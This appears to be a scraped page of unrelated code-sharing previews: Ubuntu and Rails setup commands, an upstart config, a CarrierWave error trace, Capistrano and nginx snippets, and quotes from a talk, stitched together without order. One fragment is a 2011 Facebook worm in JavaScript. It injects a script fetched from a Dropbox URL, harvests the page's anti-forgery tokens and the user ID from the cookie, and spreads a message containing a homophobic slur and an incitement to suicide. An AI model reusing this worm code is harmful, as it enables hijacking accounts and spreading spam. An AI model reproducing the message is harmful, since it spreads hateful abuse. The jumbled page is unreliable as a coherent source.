Ubuntu 12.10 setup (rbenv/RVM, Janus, PostgreSQL)
- Some utilities:
sudo apt-get install vim tmux git curl
- Copy/paste from the command line:
sudo apt-get install vim tmux git curl
#!upstart | |
description "Workers [resque]" | |
start on (local-filesystems and net-device-up IFACE=eth0) | |
stop on shutdown | |
respawn | |
respawn limit 99 5 | |
console none |
Loading development environment (Rails 3.0.7) | |
irb: warn: can't alias exit from irb_exit. | |
ruby-1.9.2-p180 :001 > inst = ImageUploader.new | |
=> | |
ruby-1.9.2-p180 :002 > inst.recreate_versions! | |
NoMethodError: undefined method `read' for nil:NilClass | |
from /Users/houen/.rvm/gems/ruby-1.9.2-p180/gems/activesupport-3.0.7/lib/active_support/whiny_nil.rb:48:in `method_missing' | |
from /Users/houen/.rvm/gems/ruby-1.9.2-p180/gems/carrierwave-0.5.5/lib/carrierwave/uploader/cache.rb:73:in `cache_stored_file!' | |
from /Users/houen/.rvm/gems/ruby-1.9.2-p180/gems/carrierwave-0.5.5/lib/carrierwave/uploader/versions.rb:174:in `recreate_versions!' | |
from (irb):2 |
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted). | |
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below."; | |
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; | |
var myText = "Remove This App"; | |
var post_form_id = document.getElementsByName('post_form_id')[0].value; | |
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; | |
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); |
=begin | |
Capistrano deployment email notifier for Rails 3 | |
Do you need to send email notifications after application deployments? | |
Christopher Sexton developed a Simple Capistrano email notifier for rails. You can find details at http://www.codeography.com/2010/03/24/simple-capistrano-email-notifier-for-rails.html. | |
Here is Rails 3 port of the notifier. | |
The notifier sends an email after application deployment has been completed. |
# NOTICE: to get Nginx+Unicorn best-practices configuration see the gist https://gist.github.com/3052776 | |
$ cd /usr/src | |
$ wget http://nginx.org/download/nginx-1.2.1.tar.gz | |
$ tar xzvf ./nginx-1.2.1.tar.gz && rm -f ./nginx-1.2.1.tar.gz | |
$ wget ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.30.tar.gz | |
$ tar xzvf pcre-8.30.tar.gz && rm -f ./pcre-8.30.tar.gz | |
$ wget http://www.openssl.org/source/openssl-1.0.1c.tar.gz |
"Other developers are just like us - weird"
"If you ever need to deploy Django, you're good. If you know Capistrano and Unicorn they've got rip-offs of all that stuff."
"I think we should all admit we're horrible coders and move on" "We're all drug addicts - we're fighting methods..."
"It's easy to learn to play the guitar and be able to play Bob Dylan and Weezer and never get better."
"This is basically a talk that was given 30 years ago. We just have to keep giving it every few years because young guys come along and forget it."
set :sync_directories, ["public/assets", "public/galleries"] | |
set :sync_backups, 3 |